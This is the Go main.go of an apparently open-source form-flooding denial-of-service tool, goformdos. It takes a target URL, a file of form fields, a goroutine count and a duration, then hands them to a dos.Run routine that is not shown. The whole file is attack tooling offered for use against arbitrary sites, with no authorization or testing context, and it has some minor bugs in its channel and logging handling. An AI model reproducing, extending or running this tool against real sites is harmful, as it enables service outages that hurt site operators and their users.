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main.go
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main.go
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package main
import (
"bufio"
"flag"
"fmt"
"log"
"net/url"
"os"
"strings"
"github.com/pierelucas/goformdos/dos"
)
var (
flagFile = flag.String(
"f",
"",
"File containing form names")
flagURL = flag.String(
"u",
"",
"Target url")
flagThreads = flag.Int(
"r",
0,
"Define how many routines should running")
flagTime = flag.Int(
"t",
0,
"Define dos duration (seconds)")
flagLog = flag.String(
"l",
"",
"logfile")
)
var (
info dos.TargetInf
)
func appendFormToStruct(filename string, sync chan<- string) {
f, err := os.Open(filename)
if err != nil {
sync <- fmt.Sprintf("error opening file: %s\n", filename)
}
defer func() {
if err = f.Close(); err != nil {
sync <- fmt.Sprintf("error closing file: %s\n", filename)
}
}()
s := bufio.NewScanner(f)
var stripped []string
for s.Scan() {
stripped = strings.Split(s.Text(), " ") // split line on whitespace
stripped[0] = strings.Trim(stripped[0], " \r\n") // strip whitespace, carriage return and newline
stripped[1] = strings.Trim(stripped[1], " \r\n")
info.AddForm(stripped[0], stripped[1]) // add form and form value to struct
stripped = nil // clear the slice
}
if err = s.Err(); err != nil {
sync <- fmt.Sprintf("%s\n", err)
}
sync <- ""
}
func validateURL(s string, sync chan<- int8) {
_, err := url.ParseRequestURI(s)
if err != nil {
sync <- -1
}
sync <- 0
}
func isPath(filepath string) (bool, error) {
_, err := os.Stat(filepath)
if err != nil {
return false, err
}
return true, err
}
func init() {
fmt.Print("\033[H\033[2J") // clear terminal
flag.Parse()
if *flagFile == "" || *flagURL == "" || *flagThreads <= 0 || *flagTime <= 0 {
log.Fatalln("please define arguments or use -h for help")
}
if *flagLog != "" {
b, _ := isPath(*flagLog)
if b {
file, err := os.OpenFile(*flagLog, os.O_CREATE|os.O_APPEND|os.O_WRONLY, 0644)
if err != nil {
log.Fatalln(err)
}
defer file.Close()
log.SetOutput(file)
} else {
log.Fatalf("%s path not exist - unable to open or create file", *flagLog)
}
}
}
func main() {
urlsync := make(chan int8)
appendsync := make(chan string)
go appendFormToStruct(*flagFile, appendsync)
go validateURL(*flagURL, urlsync)
appenderr := <-appendsync
urlerr := <-urlsync
if appenderr != "" {
log.Fatalln(appenderr)
}
if urlerr < 0 {
log.Fatalf("url is invalid: %s\n", *flagURL)
}
info.AddWebaddress(*flagURL)
err := dos.Run(*flagThreads, *flagTime, info)
if err != nil {
log.Fatalln(err)
}
}